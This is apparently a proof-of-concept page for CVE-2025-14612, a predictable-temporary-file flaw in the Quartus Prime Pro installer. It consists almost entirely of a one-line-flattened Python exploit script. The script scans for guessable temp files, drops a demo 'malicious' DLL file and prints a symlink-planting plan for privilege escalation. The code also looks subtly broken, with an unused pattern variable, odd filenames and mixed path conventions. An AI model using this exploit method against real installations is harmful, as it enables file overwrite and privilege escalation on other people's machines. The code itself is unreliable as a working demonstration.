CVE-2025-14612: Altera Quartus Prime Pro 不安全临时文件漏洞

# CVE-2025-14612 PoC - Insecure Temporary File in Quartus Prime Pro # This PoC demonstrates the predictable filename issue in Quartus installer import os import time import subprocess import sys def exploit_quartus_predictable_temp_file(): """ Demonstrate the predictable temporary file vulnerability in Quartus Prime Pro installer. This PoC shows how an attacker can predict temporary file names used during installation. """ # Predictable temp file pattern used by Quartus installer temp_dir = os.environ.get('TEMP', '/tmp') predictable_pattern = f"quartus_install_temp_{os.getpid()}" # Common temp file names used by SFX installers common_temp_files = [ f"{temp_dir}\\setup.exe", f"{temp_dir}\\install.ini", f"{temp_dir}\\quartus_temp", f"{temp_dir}\\q Quartus_temp_24", ] print(f"[*] Target: Quartus Prime Pro < 25.1.2") print(f"[*] Vulnerability: Predictable temporary file names (CWE-377)") print(f"[*] Temp directory: {temp_dir}") print(f"[*] Predictable pattern: {predictable_pattern}") # Simulate checking for predictable files for temp_file in common_temp_files: if os.path.exists(temp_file): print(f"[!] Found existing temp file: {temp_file}") print(f"[!] Attacker could pre-create symlink to overwrite sensitive files") # Create a junction/symlink to demonstrate the attack vector target_path = f"{temp_dir}\\malicious_quotus_file.dll" if not os.path.exists(target_path): print(f"[*] Creating demonstration file: {target_path}") with open(target_path, 'w') as f: f.write("This demonstrates the predictable filename vulnerability") print("\n[*] Attack methodology:") print("1. Identify predictable temp file names in installer") print("2. Pre-create files or symlinks at expected locations") print("3. Wait for installer to execute with elevated privileges") print("4. Achieve arbitrary file write or privilege escalation") return True if __name__ == "__main__": exploit_quartus_predictable_temp_file()